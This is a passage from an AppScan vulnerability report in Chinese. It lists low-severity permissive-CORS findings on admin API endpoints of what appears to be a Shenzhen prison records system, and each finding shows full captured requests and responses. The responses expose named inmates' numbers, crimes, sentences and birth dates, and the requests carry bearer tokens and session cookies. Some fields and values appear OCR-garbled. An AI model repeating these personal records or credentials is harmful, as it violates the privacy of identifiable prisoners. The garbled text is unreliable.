Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires
Accept-Language: en-US
Cookie: JSESSIONID=node0fve9f9kts18rhulur7hzhzpmx0p5504.node0
Content-Length: 100

{
  "yjl": 1,
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "nd": "",
  "tcjy": "",
  "tgrqs": "",
  "tgrqe": ""
}
```

```
"hyjg": ""
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:24:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node019g2r5dmorqv9p16h9hb4yn7e526.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "jxid": "1538543733958516736",
        "yjlb": "1",
        "hyjg": "3",
        "createTime": 1764929896418,
        "gkld": null,
        "id": "02D767F8067EB21153B0196C665C8177",
        "rs": 17,
        "tgjy": "深圳监狱",
        "nd": "2025",
        "tqrq": null,
        "khzr": 1759161600000,
        "yxqsqr": 1769875200000,
        "pch": "202505"
      }
    ],
    "total": 1
  },
  "msg": ""
}
```

过度许可的 CORS 访问测试	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/chain/jxjs/page
实体：	page (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异：

推理： AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应：

```
POST /admin-api/chain/jxjs/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c25a640ff99bfl1f8a1731d4e
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
```

```
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/parole/clcs
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Content-Length: 107

{
  "lb": 2,
  "yjl": 4,
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "nd": "",
  "tgj": "",
  "tgrq": "",
  "tgrq": "",
  "hyj": ""
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:24:27 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node092xae30cgyxdlrn0nqydkm39x465.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "jxId": "1538543733958516736",
        "yjl": "4",
        "lb": "2",
        "hyj": null,
        "createTime": 1764929896170,
        "gkId": null,
        "id": "930042F8067EB211C2A3725453139C46",
        "rs": 4,
        "tgj": "深圳监狱",
        "nd": "2025",
        "tgrq": null,
        "khzr": 1759161600000,
        "yxqsqr": 1769875200000,
        "pch": "202505"
      }
    ],
    "total": 1
  },
  "msg": ""
}
```

过度许可的 CORS 访问测试

严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/chain/jfkh-jg/listByYjmcIdOrYjId
实体：	listByYjmcIdOrYjId (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异：

推理：AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应：

```
POST /admin-api/chain/jfkh-jg/listByYjmcIdOrYjId HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Content-Length: 87

{
  "yjmcId": "C61871F8067EB211B9A8BAAC1B34635E",
  "yjId": "02D767F8067EB21153B0196C665C8177"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:24:29 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01ta97r7csa506fplei8rc15di469.node0; Path=/

{
  "code": 0,
  "data": [
    {
      "yjmcId": "C61871F8067EB211B9A8BAAC1B34635E",
      "clmc": "计分考核存证材料未存证",
      "gcjd": null,
      "code": null,
      "hyjg": "3",
      "createTime": 176637389881,
      "gklId": null,
      "yjId": "02D767F8067EB21153B0196C665C8177",
      "zfbh": null,
      "xm": null,
      "pzrq": null,
      "ksrq": null,
      "jsrq": null,
      "id": "7e8d7412-01a0-425b-bb4b-1ce83c16584c"
    }
  ],
  "msg": ""
}
```

过度许可的 CORS 访问测试	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page
实体:	page (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异:

推理: AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应:

```
POST /admin-api/chain/jfkh-mc/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Content-Length: 82

{
  "yjId": "",
  "pageNo": 1,
  "pageSize": 10,
  "zfbh": "",
  "xm": "",
  "jgmc": "",
  "ah": "",
  "hyjg": ""
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:24:30 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01hbcohftevr1gdlbg7ez4pdhvf474.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
```



```
],
"total": 0
},
"msg": ""
}
```

过度许可的 CORS 访问测试	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page
实体:	page (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异:

推理: AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应:

```
POST /admin-api/chain/jfkh-gz/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf1f8a1731d4e
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/warningInfo/score
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Content-Length: 131

{
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "zfbh": "",
  "xm": "",
  "bcjy": "",
  "clzt": "",
  "yjlb": "",
  "roles": "sfj_admin",
  "pzrqs": "",
  "pzrqe": ""
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:24:31 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
```

```
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0lxcdmLnk5hrdoLxms69bt74vh4483.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [

    ],
    "total": 0
  },
  "msg": ""
}
```

过度许可的 CORS 访问测试	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/zf-zfjbox/page
实体:	page (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /admin-api/chain/zf-zfjbox/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/criminalBase/index
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18zhulur7hzhzpmx0p5504.node0
Content-Length: 59

{
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "zfjsh": "",
  "xm": ""
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:25:03 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
```

Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0nscjyl544uh99frgt7n8abu8593.node0; Path=/

```
{
  "code": 0,
  "data": {
    "list": [
      {
        "pch": "202505",
        "zfbh": "4463044908",
        "gyjy": "深圳监狱",
        "jqmc": "七监 3 分",
        "xm": "黎海盛",
        "zm": "掩饰、隐瞒犯罪所得",
        "ypxq": "020600",
        "xq": "020600",
        "rjrq": "2024-08-20 00:00:00",
        "gyzt": "20250304190044908",
        "xb": "男",
        "csrq": "1986-05-10 00:00:00",
        "mz": "汉族",
        "fylx": "财产型",
        "qklId": "57c16714c04581d136b68869f999304801bdd1d8ffc22221da49541ef8197a67",
        "createTime": 1764595482829,
        "jkzk": null,
        "id": "1556305961038127104"
      },
      {
        "pch": "202505",
        "zfbh": "4463043655",
        "gyjy": "深圳监狱",
        "jqmc": "七监 3 分",
        "xm": "曾帅",
        "zm": "集资诈骗",
        "ypxq": "030600",
        "xq": "030600",
        "rjrq": "2024-02-28 00:00:00",
        "gyzt": "20250304190043656",
        "xb": "男",
        "csrq": "1987-03-27 00:00:00",
        "mz": "汉族",
        "fylx": "财产型",
        "qklId": "eb74db84afe887594a7321a59fc7d70c23f6e1d8bb2af5ed7e911f82b46c1c90",
        "createTime": 1764595463836,
        "jkzk": null,
        "id": "1556305801713295360"
      },
      {
        "pch": "202505",
        "zfbh": "4463042931",
        "gyjy": "深圳监狱",
        "jqmc": "医院 1 分",
        "xm": "田育健",
        "zm": "掩饰、隐瞒犯罪所得",
        "ypxq": "040500",
        "xq": "040500",
        "rjrq": "2023-10-31 00:00:00",
        "gyzt": "20250304190042931",
        "xb": "男",
        "csrq": "1995-09-28 00:00:00",
        "mz": "汉族",
        "fylx": "财产型",
        "qklId": "d753ad629ac236252f44ef4055bd122a82c3b1adde34e9c7190273307a47702b",
        "createTime": 1763541023015,
        "jkzk": null,
        "id": "1547460511006736384"
      },
      {
        "pch": "202505",
        "zfbh": "4463042630",
        "gyjy": "深圳监狱",
        "jqmc": "一监 2 分",
        "xm": "梁毅能",
        "zm": "以危险方法危害公共安全",
        "ypxq": "100000",
        "xq": "100000",
        "rjrq": "2023-08-30 00:00:00",
        "gyzt": "20250304190042630",
        "xb": "男",
        "csrq": "1987-02-17 00:00:00",
        "mz": "汉族",
        "fylx": "暴力型",
        "qklId": "289919827761f8dc322682b1ae4ba2e519e3adb9eaa92e52940da373945578af",
        "createTime": 1763540984204,
        "jkzk": null,
        "id": "1547460185436463104"
      },
      {
        "pch": "202505",
        "zfbh": "4463028403",

```

```
"gyjy": "深圳监狱",
"jqmc": "医院 1 分",
"xsn": "林耀彬",
"zm": "抢劫",
"ypxq": "130000",
"xq": "130000",
"rjrq": "2016-07-05 00:00:00",
"gyzt": "20250304190028656",
"xb": "男",
"csrq": "1993-05-22 00:00:00",
"mz": "汉族",
"fytx": "暴力型",
"qklId": "4705bdfbb3be39703bd574f95854a5088d60bb6818304afa45964a9dd60ee3",
"createTime": 1763540984002,
"jkzk": null,
"id": "1547460183741964288"
},
{
  "pch": "202505",
  "zfbh": "4463040538",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "xsn": "林酒超",
  "zm": "非法转让土地使用权",
  "ypxq": "040600",
  "xq": "040600",
  "rjrq": "2022-07-12 00:00:00",
  "gyzt": "20250304190040539",
  "xb": "男",
  "csrq": "1980-09-20 00:00:00",
  "mz": "汉族",
  "fytx": "财产型",
  "qklId": "3c8f20bdb772776d5f6d28b1092b0ec385b0c70335c19c11fbfd886ff06e8bb8",
  "createTime": 1763540983758,
  "jkzk": null,
  "id": "1547460181695143936"
},
{
  "pch": "202505",
  "zfbh": "4463041191",
  "gyjy": "深圳监狱",
  "jqmc": "出监 3 分",
  "xsn": "覃武权",
  "zm": "非法吸收公众存款",
  "ypxq": "060000",
  "xq": "060000",
  "rjrq": "2023-01-12 00:00:00",
  "gyzt": "20250304190041192",
  "xb": "男",
  "csrq": "1984-03-06 00:00:00",
  "mz":
...
...
...
```

问题 11 / 14

TOC

过度许可的 CORS 访问测试	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MAX
URL：	https://10.249.2.1:8090/admin-api/chain/jx/page
实体：	page (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异：

推理： AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应：

POST /admin-api/chain/jx/page HTTP/1.1

```
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not(A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/reduce/index
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmx0p5504.node0
Content-Length: 88
```

```
{
  "lb": 1,
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "tqrqs": "",
  "tqrqe": "",
  "tcjy": "",
  "nd": ""
}
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:25:17 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0beh63b8sm74911fx550wss5xi653.node0; Path=/
```

```
{
  "code": 0,
  "data": {
    "list": [
      {
        "tcjy": "深圳监狱",
        "nd": "2025",
        "tqrq": null,
        "khzr": "2025-09-30 00:00:00",
        "yxqsrq": "2026-02-01 00:00:00",
        "pch": "202505",
        "qkId": "b1f5d676eb8afcb79b1d23b53fd732eb4d268db4fcbac3967a4e755f87391b4",
        "createTime": 1762478060359,
        "id": "1538543733958516736",
        "rs": 13
      }
    ],
    "total": 1
  },
  "msg": ""
}
```

过度许可的 CORS 访问测试

严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page
实体：	page (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异：

推理：AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应：

```
POST /admin-api/chain/zf-kh-jkf/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99b1f8a1731d4e
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/scoreRegistration/dailyScore/index
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Content-Length: 91

{
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "zfbb": "",
  "xm": "",
  "pzrq": "",
  "pzrqe": "",
  "jflb": ""
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:25:17 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01b65rh6pyvwz81tlxd3yjo8cn647.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "zfbb": "4463028403",
        "lydw": null,
        "pzrq": "2025-02-17 00:00:00",
        "khgf": null,
        "jflb": "1",
        "khlb": null,
        "fz": 3,
        "jkkfy": null,
        "yjt": null,
        "pch": "202505",
      }
    ]
  }
}
```

```

"qklId": null,
"createdTime": null,
"ksrq": null,
"jsrq": null,
"id": "34E29586425C4B958A2C832CEF9A74664463",
"sm": "林耀彬",
"gyjy": "深圳监狱",
"jqmc": "医院 1 分",
"khny": null,
"KHR": null
},
{
  "zfbh": "4463028403",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "fz": 3,
  "jkfyy": null,
  "yjt": null,
  "pch": "202505",
  "qklId": null,
  "createdTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "D33C93EE8ED94008B774925DC2F6A9944463",
  "sm": "林耀彬",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "khny": null,
  "KHR": null
},
{
  "zfbh": "4463040538",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "fz": 3,
  "jkfyy": null,
  "yjt": null,
  "pch": "202505",
  "qklId": null,
  "createdTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "049AF53E22DF496793AC18FF0982CF104463",
  "sm": "林泗超",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "khny": null,
  "KHR": null
},
{
  "zfbh": "4463040538",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "fz": 4,
  "jkfyy": null,
  "yjt": null,
  "pch": "202505",
  "qklId": null,
  "createdTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "BA562929C83C418797F8BAA7A721F0AC4463",
  "sm": "林泗超",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "khny": null,
  "KHR": null
},
{
  "zfbh": "4463040538",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "fz": 3,
  "jkfyy": null,
  "yjt": null,
  "pch": "202505",
  "qklId": null,
  "createdTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "64B39D1E0D8E4AFTB60390ACBDD8DDE84463",

```

```

    "xm": "林酒超",
    "gyjy": "深圳监狱",
    "jqmc": "医院1分",
    "khny": null,
    "khr": null
  },
  {
    "zfbh": "4463042931",
    "lydw": null,
    "pzrq": "2025-02-17 00:00:00",
    "khgf": null,
    "jflb": "1",
    "khlb": null,
    "fz": 3,
    "jkfyy": null,
    "yjtk": null,
    "pch": "202505",
    "qklId": null,
    "createTime": null,
    "ksrq": null,
    "jsrq": null,
    "id": "12F62094E15A4D28A93F0EC0FF2959714463",
    "xm": "田育健",
    "gyjy": "深圳监狱",
    "jqmc": "医院1分",
    "khny": null,
    "khr": null
  },
  {
    "zfbh": "4463042931",
    "lydw": null,
    "pzrq": "2025-02-17 00:00:00",
    "khgf": null,
    "jflb": "1",
    "khlb": null,
    "fz": 3,
    "jkfyy": null,
    "yjtk": null,
    "pch": "202505",
    "qklId": null,
    "createTime": null,
    "ksrq": null,
    "jsrq": null,
    "id": "B1C920EA7AB64330AFAB00322A9112D4463",
    "xm": "田育健",
    "gyjy": "深圳监狱",
    "jqmc": "医院1分",
    "khny": null,
    "khr": null
  },
  {
    "zfbh": "4463042931",
    "lydw": null,
    "pzrq": "2025-02-17 00:00:00",
    "khgf": null,
    "jflb": "1",
    "khlb": null,
    "fz": 3,
    "jkfyy": null,
    "yjtk": null,
    "pch": "202505",
    "qklId": null,
    "createTime": null,
    "ksrq": null,
    "jsrq": null,
    "id": "B1C920EA7AB64330AFAB00322A9112D4463",
    "xm": "田育健",
    "gyjy": "深圳监狱",
    "jqmc": "医院1分",
    "khny": null,
    "khr": null
  }
]
...
...

```

过度许可的 CORS 访问测试	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MAX
URL：	https://10.249.2.1:8090/admin-api/chain/shouye/gzList
实体：	gzList (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	修改“Access-Control-Allow-Origin”头以仅获取允许的站点

差异:

推理: AppScan 检测到“Access-Control-Allow-Origin”头的许可权太多

测试请求和响应:

```
